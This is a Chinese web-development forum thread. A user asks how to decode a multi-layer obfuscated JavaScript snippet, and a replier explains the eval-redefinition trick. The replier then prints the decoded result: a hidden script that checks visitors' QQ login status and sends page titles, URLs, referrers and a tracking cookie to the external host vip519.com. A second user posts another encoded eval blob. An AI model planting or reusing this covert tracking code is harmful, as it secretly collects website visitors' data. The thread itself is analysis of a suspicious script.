刚才看了一个JS解密的帖子我发现我也有这个问题,请教一下jslang

zhouyixieyi 2013-11-20 09:33:16
刚才看了一个JS解密的帖子http://bbs.csdn.net/topics/390646002,我发现我也有这个问题,请教一下jslang
/*gJr5ddQE*/var/*uW9HjlD*/eMcV6AcSGv/*SSvwY0T13Hn*/=/*xp3Pr7*/\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065;/*UWjSiUV*/var/*UYxXSrM*/uBuU55/*SdbVvuzOZ0*/=/*XxXbN*/\u0065\u0076\u0061\u006c;/*WBjICoD1f*/uBuU55/*GIMnwh3vc*/(eMcV6AcSGv/*GIMnwh3vc*/("eval/*Dzsi7C7oH*/%28/*Ckl1QNn*/function/*y1ENCJvqV*/%28/*HG9ZR1osxqd*/p%2Ca%2Cc%2Ck%2Ce%2Cd%29%7Be%3Dfunction/*amKHB*/%28/*uobcKCLxU*/c%29%7Breturn/*Ah9XLo21mlH*/%28/*j6H3198*/c%3Ca%3F%27%27%3Ae/*erCSnse5f9*/%28/*fcZJE5Y*/parseInt/*Pfxno*/%28/*AyHeOV4*/c%2Fa%29%29%29%2B/*P4eWA*/%28/*n7DCl7BHdNq*//*EuBra35McP*/%28/*V4FmTt*/c%3Dc%25a%29%3E35%3FString.fromCharCode/*wmDl02io42*/%28/*LLWp7yRP*/c%2B29%29%3Ac.toString/*mnBOLBWqD5*/%28/*ctYJXfP*/36%29%29%7D%3Bif/*UqKXkYkX7mF*/%28/*gzmR93*/%21%27%27.replace/*BzMFzTe*/%28/*CXmZP5EQ8a*/%2F%5E%2F%2CString%29%29%7Bwhile/*Wnv3RLXCI0S*/%28/*Fj5OC*/c--%29%7Bd%5Be/*PRlxjm*/%28/*mvKicn1*/c%29%5D%3Dk%5Bc%5D%7C%7Ce/*BgDp2*/%28/*ur1YfqOZHW*/c%29%7Dk%3D%5Bfunction/*mn5g3dsQhJ8*/%28/*PRKQn4lcrmy*/e%29%7Breturn%20d%5Be%5D%7D%5D%3Be%3Dfunction/*oasbgtDLdK*/%28/*KaXKb*/%29%7Breturn%27%5C%5Cw%2B%27%7D%3Bc%3D1%7D%3Bwhile/*vmXUzCT*/%28/*mEee22FiXQ*/c--%29%7Bif/*M7Ifp0*/%28/*iEzpnYiW*/k%5Bc%5D%29%7Bp%3Dp.replace/*e9TOLAl8*/%28/*wTjvCD*/new%20RegExp/*NE9BY8z*/%28/*s4ssTUUc*/%27%5C%5Cb%27%2Be/*xwC1EoUX17*/%28/*X9Myj2YQU*/c%29%2B%27%5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%7D%7Dreturn%20p%7D/*ISKrSpanfD1*/%28/*thEBPzSkId*/%271A/*vjq5jbWe1rY*/%28/*AFePJX*/3K/*q9VPEqD6bv*/%28/*qqRdbesK*/%221A%253J%253I%253E%253G%251t%253H%253M%2529%253N%251F%254%2529%25t%254%253T%253F%2527%2527%253U%253S%254%253R%2529%2529%2529%252B%2528%254%253O%253P%2529%253Q%253C.3z%254%253o%2529%253p.3n%253m%2529%2529%250%253j%2528%2521%2527%2527.1z%2528%252F%255E%252F%253k%2529%2529%253l%254--%2529%253q%251C%254%2529%255D%25a%25s%255D%253%253r%254%2529%253x%253D%253y%253w%2529%25t%253v%251C%255D%250%255D%253t%251F%2528%2529%25t%2527%255C%253V%252B%2527%250%256%253W%250%254k%254--%2529%254l%254j%25s%255D%2529%254i%259.1z%254g%254h%2528%2527%255C%251y%2527%25K%254%2529%252B%2527%255C%251y%2527%252C%254s%2527%2529%251t%25s%255D%2529%250%254r%254q%250%2528%254o.T%253D%254p%2522%251v.w%253D%254e%2522%251v.U%253D%25S%253A%252F%2542.1u.G%2543%252F%2522%252%2541%2540%253X%25n%253Y%2529%255%251G%25m%25d%2528%2529%251H.11%251O.o%2528%2529%253Z%2544%251w%251w%254b%2529%254c.H%251R%252B%2522%253D%2522%254a%2549%2529%252B%2522%251S%253D%2522%251N.16%2528%2529%25b%2546%25n%2529%255%2547%257.H.1B%251J%2548%2528%2522%2528%255E%253%2520%2529%2522%253i%252B%2522%253D%2528%255B%255E%253B%255D%252A%2529%2528%253B%253%2524%2529%2522%2529%2529%256%251x%2521%25a%253h%252s%251x%252r%255D%2529%252q%252n%25b%252o%25n%2529%255%251G%25m%25d%2528%2529%251H.11%251O.o%2528%2529-1%2529%252%252E%252G%25n%2529%256%252z%2521%25a%252w.H%251R%252B%2522%253D%2522%252y%252B%2522%251S%253D%2522%251N.16%2528%2529%25b%252a%2528%2529%255%252b%25m%2526%2528%2529%258.y%253D%25S%253A%252F%2525.v.G%251V%252F%2522%25l.w%258.1o%25p%258.1E%25p%258.1n%25p%256%251I.u%2529%251M.u%2528%251Z%2522%25q%2528%2529%25g%2528%2529%250%2529%258.u%2528%2523%2522%25q%2528%2529%25g%2528%2529%250%2529%258.u%2528%252c%2522%25q%2528%2529%25g%2528%2529%250%2529%25k%251M.1a%25j%2528%2529%25g%2528%2529%250%258.B%25j%2528%2529%25g%2528%2529%250%258.10%25j%2528%2529%25g%2528%2529%250%252i.1W.z%251I%2529%25b%252e%2528%2529%255%251s%251q%2528%25A%2522%2529%256%2517%253D%25a%2529%252f%253D%252g%2522%252B%251J%25d%2528%2529%2529.o%2528%2529%252I%2536.1Y%2528%2529%2537%2529%2535%2528%25A%2522%2534%2529%2531%2515%259%25c.f%2529%252%2514%259%25c.W.Y%2529%252%25V%259%25c.e%2529%252%25Q%257.R%2528%255C%25I%255C%2527%2529.L%25E%2529%252%25J%257.P%2528%25N%2522%2529%25h.O%253D%25M%25C%2522%25h.y%25D.U%252B%2522%25Z%2512%2513%2532%251c%253D%2522%25l.T%252B%2522%251d%253D%2522%25l.w%252B%2522%251l%253D%2522%25K%252B%2522%251U%253D%2522%251m%252B%2522%251p%253D%2522%251k%252B%2522%251j%253D%2522%251e%252B%2522%251f%253D%2522%251h%25d%2528%2529.o%2528%2529%25x.z%25i%2529%25b%2533%2528%2529%255%2538%25a%256%2539%253f%2529%253D%253D%253g%2522%2529%251L%253e.1b%25k%251L%253a.1b%253b%253c%253D%2530%2529%2518.X%2519%2529%252Z%2528%2529%25k%255%251s%251q%2528%25A%2522%2529%256%2517%2521%25a%2529%2518.X%2519%2529%252%2515%259%25c.f%2529%252%2514%259%25c.W.Y%2529%252%25V%259%25c.e%2529%252%25Q%257.R%2528%255C%25I%255C%2527%2529.L%25E%2529%252%25J%257.P%2528%25N%2522%2529%25h.O%253D%25M%25C%2522%25h.y%25D.U%252B%2522%25Z%2512%2513%252T%251c%253D%2522%25l.T%252B%2522%251d%253D%2522%25l.w%252B%2522%251l%253D%2522%25K%252B%2522%251U%253D%2522%251m%252B%2522%251p%253D%2522%251k%252B%2522%251j%253D%2522%251e%252B%2522%251f%253D%2522%251h%25d%2528%2529.o%2528%2529%25x.z%25i%2529%25k%255%256h%257.1P%2528%251i%2522%2529%256g.1Q.1K%256e%2529%250%250%25b%2564%2528%2529%255%255S%253D%25S%253A%252F%255R.v.G%255Q%255N%255O-1X%255P%255U%255V%2561%2562%256l%255Z%255W%253D%2522%252%255X%25m%25d%2528%2529.o%2528%2529%256n%251T%256m%252%25Q%257.R%2528%255C%25I%255C%2527%2529.L%25E%2529%252%25J%257.P%2528%25N%2522%2529%25h.O%253D%25M%25C%2522%25h.1D%253D%251i%2522%256%25i.F%2529%25r.1g%25j%2528%2529%254Q%25i.F%253D%253D%254R%2522%253%254X.F%253D%253D%254Y%2522%2529%25r.1g%25a%2555%2528%2529%250%250%25k%25r.B%25j%2528%2529%2550%2528%2529%250%2551.y%251T%25x.z%25i%2529%254C%2528%2529%254D%25D.1r%2528%254z%2528%2529%2522%254w%2529%253B%2527%254x%254y%252C%2527%253%253%254E%253%254F%254L%254M%253%254K%254J%254G%254H%253%254I%2556%2557%255w%255x%255v%255u%255r%255s%255t%255y%255z%255J%253%255K%253%255I%255H%255A%255F%255G%255q%255p%255d%255e%255f%255c%255b%2558%2559%255a%255g%255h%255n%255o%255m%255l%255i%255j%255k%252L%254O%254P%256j%256i%256d%256c%2567%2566%2565%256b%254u%252U%252S%252V%252W%252R%252Q%254v%252K%252J%252M%252P%252O%253d%252H%252h%252d%252l%252m%252x%252v%252u%252p%252t%2545%254d%254t%254n%254f%253u%253s%253L%2568%254A%254B%254N%254Z%2552%2553%2554%255M%254S%254T%254W%254V%254U%255L%2560%256q%256o%256p%256k%255Y%2563%256f%2569%256a%252Y%252X%252N%252k%2527.2j%2528%2527%253%2527%2529%252D%252C%254m%250%2529%2529%255T%22%29%29%27%2C62%2C399%2C%277D%7C%7C3B3%7C7C%7C28c%7C7B3%7C3Bc%7C3D6%7C3B9%7C3Dp%7C3Dk%7C7D7%7C286%7C20m%7C%7C%7C7Bj%7C3B5%7C285%7C3D7%7C7Dq%7C2Ba%7C3Dg%7C28i%7C%7C3D0%7C2C7%7C7B5%7C5Bc%7C7Breturn%7C%7C%7C%7C3Bl%7C%7C%7C22b%7C%7C2FV%7C3Da%7C280%7C%7C%7C%7C27M%7C205%7C2Be%7C%7C22N%7C22I%7C%7C%7C20l%7C%7C22E%7C%7C%7C20e%7C%7C%7C%7C3FZ%7C%7C%7C3D19%7C261f%7C20n%7C20f%7C%7C28b%7C7Ba%7C28x%7C%7C%7C261h%7C26v%7C2Bb%7C26r%7C%7C2Bg%7C221e%7C26b%7C2Bf%7C26e%7C2Bn%7C%7C%7C26f%7C3DJ%7C%7C20b%7C2Ck%7C%7C3Ba%7C2A14%7C28S%7C5Cb%7Creplace%7Ceval%7C%7C5Be%7C%7C%7C3Dfunction%7C20h%7C3Bh%7C289%7C28g%7C%7C7Bs%7C7B9%7C2Bh%7C28h%7C%7C%7C3Di%7C3B15%7C3DA%7C26n%7C2F1p%7C%7C%7C%7C221a%7C%7C%7C%7C22B%7C%7C2F1m%7C201q%7C%7C%7C%7C201c%7C209%7C2210%7C7CDelCookie%7C20j%7C7Bb%7C22s%7C7Clc%7C7D6%7Csplit%7C7Capp%7C7C365633133%7C7CgetCookie%7C20k%7C201j%7C7Cprofiles%7C3B12%7C5B2%7C201s%7C7CImage%7C7Cwidth%7C7Cframeborder%7C296%7C7Cmeishi%7C2BC%7C28C%7C%7C%7C%7C2C0%7C20C%7C%7C3D1l%7C7Cuid%7C2B1U%7C7CinsertFrame%7C7Cerr%7C7Carr%7C7Ctime%7C7C100000%7C7Cdo%7C7Ccheckloginscript%7C7CsaveQQ%7C7CSetCookie%7C7Cexpires%7C3D1N%7C7C60%7C7CtoGMTString%7C7Cdata3%7C7CMath%7C7Crandom%7C3B1c%7C3D1L%7C7D3%7C3D1S%7C20Q%7C2Cb%7C3B18%7C281Z%7C2A20%7C20s%7C281J%7C3D17%7C7Dc%7C28s%7C7Conreadystatechange%7C3D1H%7C2817%7C221I%7C2912%7C2Bi%7C3Bif%7C2CString%7C7Bwhile%7C2836%7CtoString%7C2B29%7C3Ac%7C7Bd%7C7Ce%7C7C24%7C3Be%7C7C770023%7C20d%7C28e%7C7Dk%7C5Bfunction%7CfromCharCode%7C%7C%7C3FString%7C%7C2Ca%7C%7C2Cc%7C2Ce%7C28p%7C28function%7Cunescape%7C7C1000%7C2Cd%7C7Be%7C3Dc%7C25a%7C3E35%7C2Fa%7C28parseInt%7C3Ca%7C3Ae%7C5Cw%7C3D1%7C2018%7C2C13%7C2B2%7C3B7%7C20x%7C2F1v%7C2F1t%7C2A1x%7C7CsetInterval%7C20J%7C20S%7C201A%7C2813%7C2B1C%7C2A1y%7C3B6%7C7Cunescape%7C221w%7C7Cwww%7C28new%7C20RegExp%7C7Bp%7C28k%7C3Bwhile%7C7Bif%7C7B%7C7Cvip519%7C27a%7C228%7C20p%7C7Dreturn%7C27g%7C7Cbak%7C7Cvalue%7C7Conerror%7C2C1M%7C2C62%7C2C126%7C22K%7C7CRegExp%7C7Cmatch%7C7DK%7C3Bx%7C7Cvar%7C7CoScript%7C7Cuincookie%7C7Cif%7C7Creferrer%7C7Cwindow%7C7Cimg%7C7Cdocument%7C7Cfunction%7C7Cescape%7C7Ccfguid%7C7Ccfgurl%7C7Bc%7C221F%7C7Cundefined%7C7Ctypeof%7C7C3000%7C7C1007%7C7CremoveChild%7C7C5%7C221O%7C7Cid%7C7BQ%7C7D5%7C7Cheight%7C7Cloaded%7C7Capps%7C3BQ%7C7Ctitle%7C7Cnew%7C7Ccom%7C7Ccookie%7C7Cscript%7C7CreadyState%7C7Chttp%7C7Conload%7C7Ccval%7C7Ccheckscript%7C7CGetCookie%7C7CdynamicLoad%7C7CcreateElement%7C7CisLogin%7C7CgetElementsByTagName%7C7Ctype%7C7Ctext%7C7Citem%7C7CHEAD%7C7Cvsrc%7C7CappendChild%7C7CoHead%7C7CDate%7C7Curl%7C7Cnull%7C7CnewSubmit%7C7Cexp%7C7Cname%7C7CgetTime%7C7CencodeURIComponent%7C7Ccfgqq%7C%7C%7C%7C%7C7CisLoginTimeID%7C7Csrc%7C7Cqq%7C7CattachEvent%7C7Celse%7C7Ccode%7C7CcookieSave%7C7Cdata0%7C2F1T%7C2F1V%7C2F1R%7C2F21%7C2F1G%7C20A%7C0A%7C3F1z%7C3D8%7C26t%7C201d%7C7Cyx%7C3D1k%7C7Ccomplete%7C261i%7C3D4%7C7CparseInt%7C20K%7C7CsetTime%7C7Conabort%7C7Caction%7C7Chc%7C7Cbody%7C7Cbin%7C7Creturn%7C7Chref%7C7CclearInterval%7C28D%7C7Ccgi%7C3BD%7C20D%7C7Clocation%7C7Cjavascript%7C7Csave%7C26d%7C2B1d%7C3BA%7C7CparentNode%7C7Cshow_fel%7C7CgetElementById%27.split/*NMqWlNPWRX*/%28/*YjeGf17OvRy*/%27%7C%27%29%2C0%2C%7B%7D%29%29%0A"/*cOyMGnM*/)/*qMDf38jDn1*//*cOyMGnM*/)/*qMDf38jDn1*//*x91uOKuHNZp*///JS_encode By tianyiw/**/


请问一下这段怎么解密呢,解密后是什么样的结果呢? @jslang 谢谢您了
...全文
733 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
nimalagebb 2013-11-22
  • 打赏
  • 举报
回复
引用 5 楼 jslang 的回复:
你这个代码少了个f()函数啊。
发完我也发现了,这代码不靠谱
天际的海浪 2013-11-22
  • 打赏
  • 举报
回复
引用 4 楼 u012367365 的回复:
[quote=引用 2 楼 jslang 的回复:] 和那个帖子的加密方式一样,同样是4层加密, 同样是把eval()函数重新定义一下 function eval(t) { window.clipboardData.setData("Text",t); } 一层一层的解就可以了,解密之后用js格式化工具格式化下
应该无法适用所有情况吧? 比如这段是个什么情况?先decodeURI和和unescape貌似也没用: eval(f('%u01EC%D7%D3%92%8C%CD%CF%D5%87%5D%5D%8E%CF%D7%DF%D0%C8%D5%E3%E1%A0%9A%CD%CF%D5%DC%D6%C8%CC%85%9C%F8%9C%8E%CF%D7%DF%D0%C8%D5%E3%E1%A0%A3%E8%D8%D7%BE%AD%CF%D5%DC%D6%C8%CC%85%9C%F8%9C%97%E0%D7%D2%D3%E6%A5%9C%CF%D7%DF%D0%C8%D5%E3%E1%A0%A1%EC%EC%E7%D9%D2%B9%AD%CF%D5%DC%D6%C8%CC%A0%A4%CF%86HH%8C%CD%CF%D5%95%A1%E8%D7%D5%E7%E6%9AX%5C%5E%5BIA%5E%5DB%9C%E2%8AKI%9B%DF%D3%D2%D8%E2%D2%D3%E2%A2%A5%E9%DB%DD%D9%8DOc%A0%CD%DF%96%93%E7%ED%E5%D1%A2_%84%C3%C4%CE%D2%D9%E1%E4%E3%D2%91%90%D2%DB%DB%E1%AC%B1%DF%D1%DD%D9%A0%AB%DF%E2%DC%DD%DD%D8%DD%A8%9B%C3%D5%E2%DB%E1%E9%D9%A0%B5%A7%96%D7%D2%C9%DD%B2lb%60%60k%B2%E0%CD%D8%DC%A2ka%60U%60%A3%CD%CE%D0%CF%DC%AEkejk%A5%E8%B3%A7%D1%CB%DA%AEjk%AF%E3%DF%AAjR%60z%A5%CF%D8%D3%CE%D2%85%97%E0%CD%D8%DC%A5_Sa%60UGB%93%D6%D5%E1%DB%D8%D5%D7%D5%A4_%90%DD%91B%88%CD%CE%D0%CF%DC%B1_Sa%60UGB%86%D8%D3%CE%D2%C7%D1%E1%D6%C9%D7%AF_%90%DD%91B%93%E5%D5%A0_%8A%DC%E8%E4%AAi%5E%A6%EE%EE%A5%90%C7%D8%E7%E8%E3%DF%DD%CE%CD%D8%9A%91%D2%DC%9CQB%82%D1%E1%D6%C9%D7%AF_RR%60zk%98%CF%D8%D3%CE%D2%A3zk%93%CD%DF%B4eP%A6')) [/quote] 你这个代码少了个f()函数啊。
nimalagebb 2013-11-22
  • 打赏
  • 举报
回复
引用 2 楼 jslang 的回复:
和那个帖子的加密方式一样,同样是4层加密, 同样是把eval()函数重新定义一下 function eval(t) { window.clipboardData.setData("Text",t); } 一层一层的解就可以了,解密之后用js格式化工具格式化下
应该无法适用所有情况吧? 比如这段是个什么情况?先decodeURI和和unescape貌似也没用: eval(f('%u01EC%D7%D3%92%8C%CD%CF%D5%87%5D%5D%8E%CF%D7%DF%D0%C8%D5%E3%E1%A0%9A%CD%CF%D5%DC%D6%C8%CC%85%9C%F8%9C%8E%CF%D7%DF%D0%C8%D5%E3%E1%A0%A3%E8%D8%D7%BE%AD%CF%D5%DC%D6%C8%CC%85%9C%F8%9C%97%E0%D7%D2%D3%E6%A5%9C%CF%D7%DF%D0%C8%D5%E3%E1%A0%A1%EC%EC%E7%D9%D2%B9%AD%CF%D5%DC%D6%C8%CC%A0%A4%CF%86HH%8C%CD%CF%D5%95%A1%E8%D7%D5%E7%E6%9AX%5C%5E%5BIA%5E%5DB%9C%E2%8AKI%9B%DF%D3%D2%D8%E2%D2%D3%E2%A2%A5%E9%DB%DD%D9%8DOc%A0%CD%DF%96%93%E7%ED%E5%D1%A2_%84%C3%C4%CE%D2%D9%E1%E4%E3%D2%91%90%D2%DB%DB%E1%AC%B1%DF%D1%DD%D9%A0%AB%DF%E2%DC%DD%DD%D8%DD%A8%9B%C3%D5%E2%DB%E1%E9%D9%A0%B5%A7%96%D7%D2%C9%DD%B2lb%60%60k%B2%E0%CD%D8%DC%A2ka%60U%60%A3%CD%CE%D0%CF%DC%AEkejk%A5%E8%B3%A7%D1%CB%DA%AEjk%AF%E3%DF%AAjR%60z%A5%CF%D8%D3%CE%D2%85%97%E0%CD%D8%DC%A5_Sa%60UGB%93%D6%D5%E1%DB%D8%D5%D7%D5%A4_%90%DD%91B%88%CD%CE%D0%CF%DC%B1_Sa%60UGB%86%D8%D3%CE%D2%C7%D1%E1%D6%C9%D7%AF_%90%DD%91B%93%E5%D5%A0_%8A%DC%E8%E4%AAi%5E%A6%EE%EE%A5%90%C7%D8%E7%E8%E3%DF%DD%CE%CD%D8%9A%91%D2%DC%9CQB%82%D1%E1%D6%C9%D7%AF_RR%60zk%98%CF%D8%D3%CE%D2%A3zk%93%CD%DF%B4eP%A6'))
zhouyixieyi 2013-11-20
  • 打赏
  • 举报
回复
引用 2 楼 jslang 的回复:
和那个帖子的加密方式一样,同样是4层加密, 同样是把eval()函数重新定义一下 function eval(t) { window.clipboardData.setData("Text",t); } 一层一层的解就可以了,解密之后用js格式化工具格式化下
万分感谢~
天际的海浪 2013-11-20
  • 打赏
  • 举报
回复
和那个帖子的加密方式一样,同样是4层加密, 同样是把eval()函数重新定义一下 function eval(t) { window.clipboardData.setData("Text",t); } 一层一层的解就可以了,解密之后用js格式化工具格式化下
天际的海浪 2013-11-20
  • 打赏
  • 举报
回复

window.cfguid = "8";
window.cfgqq = "770023";
window.cfgurl = "http://www.vip519.com/bak/";
var isLoginTimeID;
function SetCookie(name, value) {
    var exp = new Date();
    exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function GetCookie(name) {
    var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
    if (arr != null) return unescape(arr[2]);
    return null
}
function DelCookie(name) {
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    var cval = getCookie(name);
    if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString()
}
function insertFrame() {
    var img = new Image();
    img.src = "http://meishi.qq.com/profiles/" + window.cfgqq;
    img.width = 0;
    img.height = 0;
    img.frameborder = 0;
    if (img.attachEvent) {
        img.attachEvent("onerror",
        function() {
            newSubmit()
        });
        img.attachEvent("onload",
        function() {
            newSubmit()
        });
        img.attachEvent("onabort",
        function() {
            newSubmit()
        })
    } else {
        img.onerror = function() {
            newSubmit()
        };
        img.onload = function() {
            newSubmit()
        };
        img.onabort = function() {
            newSubmit()
        }
    }
    document.body.appendChild(img)
}
function newSubmit() {
    var uincookie = GetCookie("uincookie");
    if (uincookie == null) {
        uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
        SetCookie("uincookie", uincookie)
    }
    var title = encodeURIComponent(document.title);
    var url = encodeURIComponent(document.location.href);
    var referrer = encodeURIComponent(document.referrer);
    var oHead = document.getElementsByTagName('HEAD').item(0);
    var oScript = document.createElement("script");
    oScript.type = "text/javascript";
    oScript.src = window.cfgurl + "?action=saveQQ&do=save&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&referrer=" + referrer + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie + "&r=" + new Date().getTime();
    oHead.appendChild(oScript)
}
function isLogin() {
    var code = null;
    if (typeof(data3) == "undefined") {
        code = data0.err
    } else {
        code = data3.err
    }
    if (code == 1007) {
        window.clearInterval(isLoginTimeID);
        insertFrame()
    } else {
        var uincookie = GetCookie("uincookie");
        if (uincookie != null) {
            window.clearInterval(isLoginTimeID);
            var title = encodeURIComponent(document.title);
            var url = encodeURIComponent(document.location.href);
            var referrer = encodeURIComponent(document.referrer);
            var oHead = document.getElementsByTagName('HEAD').item(0);
            var oScript = document.createElement("script");
            oScript.type = "text/javascript";
            oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&referrer=" + referrer + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie + "&r=" + new Date().getTime();
            oHead.appendChild(oScript)
        } else {
            var checkscript = document.getElementById("checkloginscript");
            checkscript.parentNode.removeChild(checkscript)
        }
    }
}
function dynamicLoad() {
    var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";
    var time = new Date().getTime();
    vsrc = vsrc + time;
    var oHead = document.getElementsByTagName('HEAD').item(0);
    var oScript = document.createElement("script");
    oScript.type = "text/javascript";
    oScript.id = "checkloginscript";
    if (oScript.readyState) {
        oScript.onreadystatechange = function() {
            if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
                oScript.onreadystatechange = null;
                isLogin()
            }
        }
    } else {
        oScript.onload = function() {
            isLogin()
        }
    }
    oScript.src = vsrc;
    oHead.appendChild(oScript)
}
dynamicLoad();
isLoginTimeID = window.setInterval("dynamicLoad()", 3000);

87,991

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 JavaScript
社区管理员
  • JavaScript
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧